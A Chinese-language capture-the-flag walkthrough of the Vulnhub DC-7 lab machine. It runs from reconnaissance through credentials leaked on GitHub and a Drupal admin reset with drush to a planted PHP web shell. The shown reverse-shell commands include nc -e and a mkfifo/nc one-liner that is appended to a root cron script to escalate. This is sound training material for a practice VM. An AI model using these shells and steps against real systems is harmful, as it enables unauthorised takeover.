Vulnhub[DC7]

简介

下载

• DC-7.zip (Size: 939 MB)
• Download: http://www.five86.com/downloads/DC-7.zip
• Download (Mirror): https://download.vulnhub.com/dc/DC-7.zip
• Download (Torrent): https://download.vulnhub.com/dc/DC-7.zip.torrent ( Magnet)

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

经过筛选可以知道192.168.0.153是DC-7的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.153

发现这里只是开了80、22端口

首先从80端口入手

DC-7 introduces some “new” concepts, but I’ll leave you to figure out what they are. 😃

While this challenge isn’t all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won’t succeed.

What you will have to do, is to think “outside” the box.

Way “outside” the box. 😃

翻译：

DC-7 引入了一些“新”概念，但我会让你弄清楚它们是什么。 😃
虽然这个挑战并不完全是技术性的，但如果您需要诉诸暴力破解或字典攻击，您可能不会成功。
你要做的，就是跳出框框思考。
方式“外”框。 😃

CMS还是Drupal

但是这个靶机直接换了一种玩法，这是没想到的

这一题需要注意到这个地方

我们直接搜索，能发现有一个GitHub的用户，进去看能够发现一个staffdb的源码文件夹，并给了提示这源码是dc7靶机的突破口

员工数据库
这是 DC-7 挑战的一些“代码”（是的，它不是最好的代码，但这不是重点）。
顺便说一句，这不是一面旗帜，但如果你在这里做到了，无论如何都做得很好。 😃

将源码下载到本地

git clone  https://github.com/Dc7User/staffdb

分析源码，发现一个config.php文件，在这个配置文件里找到了用户名和密码

渗透

用SSH链接靶机，登录dc7user发现可以成功连接

打开mbox文件发现是一个计划任务，定时备份，并发现备份执行的源码在/opt/scripts目录下

进入到/opt/scripts目录下，查看backups.sh脚本文件，发现两个命令gpg和drush

gpg命令用来加密，drush命令是drupal框架中用来做一些配置的命令，它可以改变用户名密码

进入到/var/www/html目录下，使用drush命令修改admin用户的密码为123456

然后就可以使用admin/123456登录后台了

一般流程就是发布一篇新的文章，写入shell

但是Drupal 8没有为了安全，需要将php单独作为一个模块导入

Php介绍页面如下，模块包下载地址也附上

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

Install后跳转到模块添加成功页面，然后去激活这个模块

选择FILTERS，勾选PHP点击Install安装，安装成功后会有提示

然后来到网站开始的欢迎页面，对该页面进行编辑，添加一句话PHP代码，并保存为PHP代码

蚁剑连接，成功连接getshell

提权

然后还是并反弹shell到kali，切换shell外壳

nc -e /bin/bash 192.168.0.153 8888
nc -lvvp 8888

当前用户是www-data，在/opt/scripts目录下的backups.sh脚本文件所属组是www-data，所以www-data用户可以对这个脚本文件进行操作，并且这个脚本文件定时执行可以利用它来反弹shell

写入反弹shell代码到backups.sh脚本文件中，并在kali监听5555端口，等待执行计划任务，成功getshell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.129 5555 >/tmp/f" >> backups.sh

然后就是去root目录下找flag了